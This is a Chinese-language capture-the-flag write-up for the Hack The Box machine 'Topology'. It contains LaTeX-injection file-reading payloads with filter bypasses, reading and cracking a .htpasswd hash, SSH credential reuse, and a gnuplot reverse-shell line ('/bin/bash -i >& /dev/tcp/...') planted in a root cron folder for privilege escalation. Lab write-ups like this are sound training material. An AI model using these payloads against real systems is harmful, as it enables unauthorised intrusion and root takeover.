[HTB] topology

First Post:

Last Update:

Word Count:
3.1k

Read Time:
15 min

1

前言

HTB上的topology这台机子其实还挺难的,获取立足点那块真得要点经验。提权这块就相对简单了。

信息收集

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$ sudo nmap -p- --min-rate=10000 10.10.11.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 03:45 EDT
Nmap scan report for topology.htb (10.10.11.217)
Host is up (0.096s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds

$ sudo nmap -sT -sV -sC -O -p22,80 10.10.11.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 03:45 EDT
Nmap scan report for topology.htb (10.10.11.217)
Host is up (0.074s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
| 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.26 seconds

$ sudo nmap --script=vuln 10.10.11.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 03:47 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for topology.htb (10.10.11.217)
Host is up (0.079s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'

Nmap done: 1 IP address (1 host up) scanned in 662.23 seconds

开了22和80端口,且80端口跑的是apache部署的网站服务器。简单漏扫也没发现什么可用的结果,接着往下吧。

nikto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ sudo nikto -h 10.10.11.217
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.11.217
+ Target Hostname: 10.10.11.217
+ Target Port: 80
+ Start Time: 2023-07-15 04:12:04 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 1a6f, size: 5f27900124a8b, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ 8074 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2023-07-15 04:23:51 (GMT-4) (707 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

nikto也没什么建树。

whatweb

1
2
$ sudo whatweb http://10.10.11.217
http://10.10.11.217 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[lklein@topology.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.217], Title[Miskatonic University | Topology Group]

web渗透

先看看网页。

e416aafb1399d17450c0c6d198c0b8e0

主页是介绍一个大学的拓扑学研究小组,也不是拿什么常见的CMS搭的。但是在Software projects板块有个链接引起了我们的注意,我们点进去发现并不能正常跳转,我们看浏览器地址栏发现是个子域名,那我们将其加入hosts中,就能成功访问了。

4dd7b3ab3c9e2e857513d6fcb19844bd

这个网页的功能是将输入的LaTex公式转换成图片。但是先不管这个,俗话说,家里有一只蟑螂就等于有一千只蟑螂,有一个子域名会不会还有别的子域名,生性多疑的我们肯定要探查一二。直接上wufuzz扫一下vhost再说。

子域名探查

1
wfuzz -H "Host: FUZZ.topology.htb" --hc 404,403 -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt http://topology.htb

出来了好多报200的,很明显这么多不可能都是子域名,那我们屏蔽一下545w个字符数的结果再看看(因为这个返回的最多,多半是不是子域名的结果。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ wfuzz -H "Host: FUZZ.topology.htb" --hc 404,403 --hw 545  -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt http://topology.htb
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not wor k correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://topology.htb/
Total requests: 4989

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000019: 401 14 L 54 W 463 Ch "dev"
000000061: 200 5 L 9 W 108 Ch "stats"

Total time: 0
Processed Requests: 750
Filtered Requests: 748
Requests/sec.: 0

这回OK了,返回了我们想要的结果,一个dev和一个stats,网站还有这两个子域名。那我们把他们都加进hosts后一个一个看。

先看返回200的。

ef43f1ce9eba15bf567780edf183863f

和名字一样,是返回网站状况的。但是有张图不知道为啥没加载出来,但是管他呢,这个页面没什么可以下手的点。

再看看dev。

13263cfd5d7b5812cfcec26ffbe3026c

上来就找我们要密码,难怪扫描返回401未授权。那看来我们是要想办法搞到这个密码了。先扫扫这个目录看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(meamea㉿racknerd-4565a8)-[~]
└─$ sudo dirsearch -u http://dev.topology.htb/

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/dev.topology.htb/-_23-07-14_04-05-47.txt

Error Log: /root/.dirsearch/logs/errors-23-07-14_04-05-47.log

Target: http://dev.topology.htb/

[04:05:47] Starting:
[04:05:56] 403 - 281B - /.ht_wsr.txt
[04:05:56] 403 - 281B - /.htaccess.bak1
[04:05:56] 403 - 281B - /.htaccess_extra
[04:05:56] 403 - 281B - /.htaccess.save
[04:05:56] 403 - 281B - /.htaccess.sample
[04:05:56] 403 - 281B - /.htaccess.orig
[04:05:56] 403 - 281B - /.htaccess_sc
[04:05:56] 403 - 281B - /.htaccess_orig
[04:05:56] 403 - 281B - /.htaccessBAK
[04:05:56] 403 - 281B - /.htaccessOLD
[04:05:56] 403 - 281B - /.htaccessOLD2
[04:05:56] 403 - 281B - /.htm
[04:05:56] 403 - 281B - /.html
[04:05:56] 403 - 281B - /.htpasswd_test
[04:05:56] 403 - 281B - /.htpasswds
[04:05:56] 403 - 281B - /.httr-oauth
[04:06:02] 403 - 281B - /.php

看到好像有/.htpasswds/.htpasswds_test,一般这种http类型的网页验证很多时候凭证都是存在这些文件或者/.htpasswd文件里面。那么问题来了,目标有了,我们怎么去查看这些文件呢?

LaTex Injection

回想到之前不还有个Latex页面没看嘛。这玩意不知道有什么用就直接问问神奇的谷歌:Latex exploit,就搜到了好多latex injection的利用方式。第一个搜索结果的hacktricks上就写的很详细,我们按他上面的方法试一试。

可惜事情并没有这么简单,一大串利用方式下来,就没几个能成功的,很多都显示非法命令被检测了。

6dd0139f6a0f1134394c3b7f75e77f0b

很显然网站是对Latex命令做了过滤的,并且过滤的还挺多。但是其中,读取文件中一行的内容还是可以的。

1
2
3
4
5
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

2c0997500981d838fefe474b052e1acd

如果想多看几行也是可以的。把读行命令重复几遍就行,但是太多的话也不行,网站还对输入长度做了限制。

1
2
3
4
5
6
7
8
9
10
11
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\read\file to\line
\text{\line}
\read\file to\line
\text{\line}
\read\file to\line
\text{\line}
\closein\file

da5963a31d9e90fa71c32c74c645a185

再长就不行了。那我们试试读/.htpasswds/.htpasswds_test以及/.htpasswd。发现全部都会报错,不知道为啥…..可能是这样读取文件有问题。

于是在网上各种找绕过过滤的方式,甚至看了一篇论文《Are Text-Only Data Formats Safe? Or, Use This LATEX Class File to Pwn Your Computer》

里面提到的几种绕过方式:

  1. \catcode: 更改字符的类别代码,将X改成转义字符(即’\‘),然后把X当\用。

    1
    2
    \catcode`\X=0
    Xinput{/etc/passwd}
  2. ^^5c:latex遇到两个^^后会把后面的16进制数作为ASCII值识别,所以^^5c=\。

  3. \csname input\endcsname:绕过\input

  4. \begin{input}{/etc/passwd}\end{input}:绕过\input

虽然学习到了很多新姿势,但这些方式都没能成功绕过,都会报错。

最后查了一下发现了解决方案:数学模式下行内模式(两端加上$$)调用\lstinputlisting:

1
$\lstinputlisting{/etc/passwd}$

cba2fa3f12f70749871a96b8e518a3c8

可以查看文件全部内容了。那我们再试试/.htpasswds/.htpasswds_test以及/.htpasswd这几个。发现只有/.htpasswd能读成功。

681

获取立足点

我们直接把其丢进john里面破解一下。

1
2
3
4
5
6
7
8
9
10
11
12
$sudo john rawpass --wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
********** (vdaisley)
1g 0:00:00:13 DONE (2023-07-15 05:24) 0.07320g/s 72885p/s 72885c/s 72885C/s calebd1..calacho
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功得到密码。

我们登陆一下dev看看。

324f7908a46b1e94385fc588a05e6244

然而这网站啥也没有。那我们试试存不存在凭证复用的情况,我们试试拿凭证去登一下ssh,发现能成功登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ssh vdaisley@10.10.11.217
vdaisley@10.10.11.217's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Jul 15 05:05:23 2023 from 10.10.14.187
vdaisley@topology:~$

在home目录下拿到user flag。

提权

老三样

sudo -l、find suid bins以及cat crontab一无所获。手动遍历了一下文件也没发现啥特别的。

linpeas

传统的不行来点电子的。上linpeas。

1
2
3
4
5
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x 3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx 2 root root 4096 Jun 14 07:45 gnuplot

我们发现/opt下有个文件夹,更奇怪的是这个文件夹只有写和执行权限,不能读。非常奇怪的文件权限设置,事出反常必有妖。我们搜一下gnuplot是干啥的,发现是一个画图的工具,加个exp一查发现了非常多的提权利用方式。我们尝试一下payload。

1
2
3
4
#test.plt
system "/bin/bash -c '/bin/bash -i >& /dev/tcp/HTB-VPN-IP/443 0>&1'"

gnuplot test.plt

本地开一个监听成功收到了反弹shell。然而问题是,只是用户的反弹shell,如何让root执行我们的plt文件呢?而且到底这个gnuplot文件夹是干啥的?

gunplot exploit

我们用pspy64看看有什么进程在执行,多么希望gnuplot在运行(其实肯定在运行,因为之前stats那个图其实就是用gnuplot画的,细想一下的话就有理由怀疑这个文件夹里装的就是gnuplot运行的plt文件)。

1
2
3
4
5
6
7
2023/07/15 06:25:01 CMD: UID=0     PID=1335   | /usr/sbin/CRON -f
2023/07/15 06:25:01 CMD: UID=0 PID=1340 | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
2023/07/15 06:25:01 CMD: UID=0 PID=1339 | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
2023/07/15 06:25:01 CMD: UID=0 PID=1338 | /usr/sbin/CRON -f
2023/07/15 06:25:01 CMD: UID=0 PID=1341 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/07/15 06:25:01 CMD: UID=0 PID=1342 | /bin/sh /opt/gnuplot/getdata.sh
2023/07/15 06:25:01 CMD: UID=0 PID=1347 | /usr/sbin/CRON -f

我们可以看到,和预想的一摸一样 ,确实是自动执行gnuplot下的plt文件,那我们直接把payload丢进文件夹中等执行就好。

1
2
3
4
5
6
$sudo nc -lvp 443
listening on [any] 443 ...
connect to [HTB-VPN-IP] from topology.htb [10.10.11.217] 34712
bash: cannot set terminal process group (94662): Inappropriate ioctl for device
bash: no job control in this shell
root@topology:~#

成功拿到root权限,root flag在/root目录下能找到。

总结

这台机子主要考察了在被过滤情况下对Latex命令注入的理解以及对http网页权限验证文件的了解。提权部分比较的简单。